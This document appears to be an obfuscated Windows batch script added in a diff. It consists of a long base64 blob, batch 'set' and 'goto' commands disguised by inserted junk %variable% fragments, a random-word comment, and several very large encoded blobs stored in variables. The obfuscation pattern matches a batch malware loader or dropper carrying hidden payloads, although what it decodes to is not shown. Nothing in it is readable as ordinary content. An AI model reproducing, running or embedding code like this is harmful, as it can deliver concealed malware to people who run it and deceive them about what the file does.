PFktpx1TPiwBw0RvAvOrxZ7vsjBYMOfKs8tFfHblZ5q5qeXIq2rHNF2ywXP97+fKOIUtw6senLmG7MzUinHEcT2PM3aPe97Tu47h5Q5AlGG0tsVv9HogROg0Tm2EsU2qP8491fPy3Ht4zVW7Gpjoe1k0EG9tweMfBxIxJ1QpHO4OrxaSb09OJwiUfdGtok+WVZtlaEuY8ilT3zJoH//i0J1sMCuFPNsIsmUp8SSg5rf/sgzIV+3N436eUGovWrfRhRtGmGBLtWXPYA0vgdQgIznI46IBvVNOlznCkIIdLfgamxkI00bw/TABXXpQgpC1kv/ZixSvYD2T3NiVM25y9iqRBHkZz7+ATb2nVfgm+6X2tigKwSQShIqjEPKuIyfjf3I4mFb5hU/U0oVaYorN79WnMW7GY9IqqCW27O6xthoJVv+kDmV04zmcM6402fnGRsXrpzBfh2UlMR5IRTPgmiBNTWjp/WdfafIVlg4kOfMvcEQUvppqRWzU2dkTUMgPPHP4NVVEaDAUM/gd5T8yKYkAX6Xy1vQjFTsDQmTaR4RF33K8dvR/UkqufenL5KvSemKkL2KTRhnt08ogI9reQoSGo6b3axSLNKJmrt5G3NGHbRrhraPQX2YBLkw8ppsGbAtOW9LCki7YoikGHkOHD60FxhLAkINx23v5B1BIbk/r/rNXy42FI94UKQ9XctUHVzvb5u+5Lr4mhK2Q2X5pF7c4b0PhZkkQCj9LrYtPdiSvJFw972XlxqbOevAD/9yLVJ+e6JQWjyQSGeqA0j6PhDHc4YqVPxE6FWhd9/YjYdERyara4gFMJs2xRisDy3Qqb1bkuOBCfs80i4OccWcJWl6e7U5C/VvIu9zdl4HRAAy55oOeDTlLVvUSVS1ybzcJSU5pigP0RncnSBOlL6oRZOWjmVavOuwn10cn/D+JVBhBGnKouq/uNOEn/0ZXwCm4qo4oXYvvXIlBt7/QbyAneq17TOJjQRt5bXC2BwzvAiQC4rm4oa3pMfSV3CK2nxrBKrejCjw8U2EXbco2X4hDgniHjABXNpTIarUnAwlh//5A00TwY1HyCkbnrO01teJyrvL5WYxQYLdvvgveJ7wuxc7Pk9KGNocT3s2ktEkx9c+ZEixEsj2b7dNPrSeQzquRfzt/YnCiFJKszuTzomdf+M+XZPUQdv1xYZhTbBH/Jmy8GIejYqO+T22aWAqltYqMnyUkpA4BdvjeTV0+u/dZAMbjg4QBUyUrES0aWiD2nYYnGzIgpV+xg/CdRIJe8YXTc0sa4C6TxT3aVUh+xl2eFwc5kXP5aeW2/thbsph3Nq/MRgWgZoG3cTkD4kDRkPXXmbEHzFNp0lf0dqHpx4J5eEH5sy5H8f1WdM0pWIb4SQcK2pOjMLOsFfmxNcmRNt/zbXBbjSy7zVysuV+qSzvvqEbqSHzuEWdIFwUNAq8U2oEsiTDl8Thm7vn6HzkH12gng+5WYRg2IFlZ1zABAO54+oaqXiP3Pqdxh58gEM1BS7PA2mFvJFIzTSKSCYm9xq6XXM0DWs0yltyEFjvk1I5JRtr69TVbL3I9wITcbcWIqH/XBlVNt8jTcchJz9FPQmneRCFuhSchHYWRzUEQl0rP2Bn09Z9LvSh+d3tJQuqJjXQWkjBgxd0B8S1qlZLzdk9oSEjaZKVNZB7Lqfze5GUC3eU2m4cBHaeo937Keiejehwq8sB6OHyn7WWWyr3+S37QbLcKyNMyOOhGZSgGT0ZPYkd750EA7TCbs+QXlCQzPGbhmV66oRZ2pJ8J9pZWjTtT77LmB2OpSXJv3v1I+c9LSlY6HPpX0jzKYw5ha9M5TLei3wSMtN7R08eqpAn/V9/mCJTN1yy2AzURG+/H1AiNlPn8fngiQPCs
+%LUwoAo%s%UVFRNC4%et "k8A])6f8=iieM!ih"&& s%cnSovc%e%tJYO7et%t "KBS6iOK=43Nn4ob" &&%bATQ8Qde%se%V5wvxZJg%t%uORC0sRX% "X899BQ=Ji!nr"
+s%w9L3qd1%et "JrK)_3=eLNlx"&& s%IlujJb%e%urhfHqj%t%vJVN9R% "C7AaxkU=u6!JIM"&& %rGuxXz%s%r7vFOJ%et%cQKOa9% "gIbjt4Xe=!tTp"
+%apZGbBOR%g%le5i7MRB%o%mOyBT67%t%EzKdZKUd%o%dqgyUFf% :mP{U48I
+::  zarmkziy oshozjecw vyvvoqlkt mozszmkba mikiqa bojacvm hugatom hcnopis
+:uS1ZJ[JQ
+SET amiieM=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
+set tTp84C=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
+SET SeLNlxJi=fH1rWnUuXjeHTJYgbiwecCtO7JUi+PTq7Hu4sf9Sz3Xxd7IeWrMh+EgzD6X2tab7OFzxK+71J+azJRcxFriGJDedzePn7kNNmJr6ugBZzxzZWjppc1+dkSeVDh6k6JF2y5sPZ00fxMuuFJ7BETqVlav55zCbgo+xMTcmd30jhAVg4u9Q06dGQrLJnJictamWVscm9m2omPGhfKuohSo3CJT68/XT8658loWEjArOrfMo69TxK9AVTXLcnjFX2Kc5T9ky9e9LJk/iZauw4h1+0N4qFWdol+LqJ0jEcbhwYVg+wIjbmMMqkckBAozqvjdQQEp6PpeU5hZwB2POX/foP0SzINMKzkQm80EeEa9aTxLmTbeUMXpTUg+i+QQ62wo1ljHi+WYOgRPwDzE9b+qTyDYXiC/XdpMX5eltWEigyMnqql/NPeyaBjo8SUxwzZAK0xaIBQvVWRvRtjDq2+4XJxRnMgAn+rDeHZDZx/uYsWsp8CtuJZ0PD7+JOXPBcUzp+xnBRASSuK96tB8DE6oS24PcjGQWyEOwududbn1T+aKzSm5fyFTypVUVNnTGWo8Fd9uOPpblNhlp+F34rPYOm/ho8Hyfu+QNgTyVre5ok1hs1fLz2gbV2TI6kba7vg/DesAp3CDyzSvjrjJWCqacnWPUABPIZAz/hDqxfcbT4V90I4OvPsYmp67YQ38nmML4/FyH66QtegRCyhYl2SsXc4TqGeKI5K1klAfV+weuvGtveU6A7uEWj4rdJXtCe9oE9zgCUQ1CTMoORFluEQrBe3X/jZ6Dy8HxWzXvys4UnqsaR0r3kg/qi4g+swCOIhGjTRVN4BaUro8JCB4VOCvve13FfoomANsJJQY6vX7c/S6sSQ8twKNQxdkyOMvYHjZHbirZ4rBbzDexUKRbosluvYGX2+jSEXIOQCJzvqC7QEnLqQttu5+vvK2MwVlLAYGfIfCZlg0QTG2DoTHi43rP2BFzb2PZ1SNhG14tW3V1DnDS9xh8TbbEBRKMBgIYFO8b/KQM7k3+2AJUGxY31DO2t0OSIdsHyL2IASYG1MRu3sM6h2u+Q02gsS5a/F4T83gslbDEegtWyTFBswDF2nWIo61P6Crv2hRUJaGEB81zVa2d4h8j0XFaT/6QL8+YbnOnqqcv1cYJp3zVcgpDTnLLeM5uxyRQBqg7E8NiK2n2MDyxgj+hczOuv4Qii7F8bjXn7kxDbPNGRZ5oEpZmfOhB4AhNOk5FGH67i19f4I0mZNjA75+eR2vHwrKdX/dbx9qncc5xloxVaegLGmU7rbZbtkv1jR4vmRfPX5YU7AJX2oXaMGHmyT4BrBzL8NVeJZxQzLIlscozz8ITzq826e8yBLlZEK/KLeQmV5y+vBzoltbBib6BQU1INWuKzco85ZSSiAh0EwYyDAFzG7Gy2LNb4hBqCtACSLpATx+z8XhJ9Wp13KugqNMcbU5nhSOb+mO9SGmDWilSxiACOYPCRmwf5pxosUI4LZz2CioMS38vB6IYCf5mLYlsP8r9t7989Dd2uAw3nh0fXgiZvKwaflWwZ0dm7gM76vPb5J5vajrBhtZeEWdgvnvCZ4uJE7tS//cS1y80+z8mcs2JqxGDKQKLaIYi0SSG6l/6mUl0Kbh4GfhjFqsZeAq/oQTvA4NOX13C5MvipJ5dEpZ0uKSMtkn9A8QyfsfHJry9cdVoKVc7BP6cqDoV6mXHgmeLtwVLQ56F8Kr8Sr1NJWLmKes6GcEs4Kit2WjOhz/2utbuVFJNpF3gzscBGQrHWlAGN9cCD2qSNdfd/YFVXmw+ZHABe2VC+1t3MiUS+F0HT0Q+NuqhwSj5iJcKnnzOiROiB2FlWXldJrxTQgDP9FHRJp4YqNYXOhORXStB6Gc2lSOB4AdYs9dn7EOaEEE+fPYxj8j2lDxzJZMRiPDMBbxmSEetqrAVzoqz1wy86XdddMXkvcKSbwEPyBscsRzSrw6MllUkKDzd6lHGy26HDN1YCrPL2bn5JuD/lUbODzUUEXdpBugnKYPIhIYgNpURylQP2GXYvn57NqMoocVGlAqlLxGMjQzQluRxihQmZinMIUNlOurAaVQu0hM1SKH3uq60VXVsvO0FvCItB7W8QZPusogoE4G06ssQfvneHaeIlAMFdVRMXJwU1VN9RHq5eiSIcDcTo7PLLEO8FnR7pjthTlct+0JdiPTS6uzYFql+QzoOrXbjiuXD09OJFL+JRsrjSPvpOYyzroASKpwDSdazdILbM5MK7pUhoNhBz0ILrTNmMKMrHTlyBna4c6K9IAOrCFhnCQuf9GpOO1k9a9FXakT+Qg8kBVX5SP2q9ecqGxAdlodR6VslS+b3xYTyU7mZSHI/OBPIMsIrBlNp5PcYMK7jX3J6EWt5L8hE7drMs/W+Kg4cezIiOObr0/ak6O6kEYQlm1Nj9nE+4GPhM4tnwF9FiYB+pZjKpJCQZ3fz+jU0DjoEOfdJkAU/w4wuSQ0vgxnB21s0SDE6FZ3rSpcidnwfAGpV6omFAHLhuC1zxw5z3D1lAgqF5xWYK8DWK4qJ68hCBe6Oj/MHPOkoVJPTstSC/r9uVJbTO/Dq+ArYzLVgofQkgwyA4XF50OiyJsQI0h/7hebFDohXzmdfRpqdp3wWV0AaJwNYM78DnTUZRlA5+kxT/xRVx1/seEGxu1p0p2nlKeIcMChvpFcZcEFIvT/x7DGdl0gDWQmDZY6muUz48S2GQocqkJoEhodRA/lD6thHJTC/J9Nkra6Hpu75AeaLglywG4laLFJITy8PXCTAs1WGZ0qF9r+6A9rz1cQzq29MaUDfHjcFTSY1x3RsHTGAuTeC5HQ3xIBxd3Uo2mfk1kTFhgSORVFFEReb8WRtxRWx0tLShVwb5vNeOmcWnKaBL5A+PKZ7gWBKUFdaIwmqX7S9UEJmO